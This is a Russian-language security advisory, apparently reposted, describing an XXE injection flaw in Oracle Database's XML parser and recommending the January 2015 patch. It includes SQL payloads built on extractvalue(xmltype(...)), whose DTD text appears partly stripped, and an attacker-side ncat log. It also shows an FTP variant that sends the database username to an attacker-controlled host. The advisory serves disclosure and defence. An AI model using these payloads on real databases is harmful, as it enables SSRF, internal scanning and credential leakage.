Описание уязвимости
Модуль XML-парсера базы данных Oracle уязвим к XXE-инъекции (XML External Entity).
Уязвимые версии: 11.2.0.3, 11.2.0.4, 12.1.0.1 и 12.1.0.2
Необходимый уровень привилегий: Создание сессии
Технические детали
Из-за настроек безопасности XML-парсера в Oracle внешняя схема преобразуется (resolve), но не анализируется. Таким образом, предотвращается использование некоторых типов XXE-инъекций, например, связанных с чтение локальных файлов на удаленном сервере базы данных. Однако злоумышленник может отослать специальный SQL-запрос для вызова XML Resolver'а, заставляя сервер соединиться с удаленным ресурсом через HTTP или FTP. Этот трюк позволяет просачиваться информации через посторонние каналы, выполнять сканирование портов на удаленных внутренних системах, выполнять SSRF-атаки (Server-Side Request Forgery, Межсерверная подделка запросов) или создавать условия для DoS-атак.
Уязвимые обработчики URI:
· http:
· ftp:
XML-парсер в Oracle может быть вызван при помощи функции extractvalue() для объектаxmltype. Ниже показан пример запроса с простейшей полезной нагрузкой в XXE-инъекции:
select extractvalue(xmltype(']>'|| '&' ||'xxe;'),'/l') from dual;
Если выполнить вышеуказанный запрос, возникнет следующая ошибка:
ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name \"%s\""
*Cause: An invalid resource handle or path name was passed to
the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical
resolver.
Ошибка возникает по причине того, что обработчик FILE URI конвертируется в путь к XDB Repository. Однако изменение запроса и использование обработчика HTTP URI вызывает другую ошибку.
Пример:
select extractvalue(xmltype(']>'|| '&' ||'xxe;'),'/l') from dual;
Возникает следующая ошибка:
ORA-31020: The operation is not allowed,
Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.
Ошибка, приведенная выше, означает, что обработчики FTP URI или HTTP URI могут быть приняты XML-парсером. Обратите внимание, что запрос, приведенный выше, не отсылает никакие HTTP-запросы к системе злоумышленника. Давайте рассмотрим еще одну полезную нагрузку, которая привязана к Parameter Entity вместо Document Entity:
select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual;
При запуске запроса выше на сервере баз данных возникнет та же сама ошибка (ORA-31020). Однако в этот раз сервер отсылает HTTP-запрос на ресурс с именем «test». Ниже приведен лог HTTP-запросов с сервера злоумышленника:
ncat -lvp 80
Ncat: Version 6.25 (
http://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8
Обычно злоумышленнику требуется привилегированный доступ к пакету UTL_HTTP для того, чтобы спровоцировать сервер на создание HTTP-запросов к внешнему ресурсу. Поскольку функция extractvalue() доступна всем пользователям, XXE-инъекция предоставляет еще один способ отсылки «внеплановых» запросов без использования дополнительных привилегий.
Обработчик FTP URI (ftp также может использоваться для вызова XML Resolver’a в Oracle. Запрос, приведенный ниже, отсылает имя пользователя базы данных как имя пользователя FTP-сервера:
select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual;
После запуска запроса возникает следующая ошибка (обратите внимание, что код ошибки отличается, поскольку предоставленные учетные данные не могут быть использованы для авторизации на удаленном FTP-сервере).
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.
Имя пользователя базы данных включено в FTP-трафик и отсылается на сервер злоумышленника как имя пользователя FTP-сервера:
Рисунок 1: Попытка соединения с FTP-сервером при помощи учетной записи базы данных
Рекомендации
Установите обновление CPUJan2015, выпущенное компанией Oracle.
Украс с секюритиЛАБ.РУ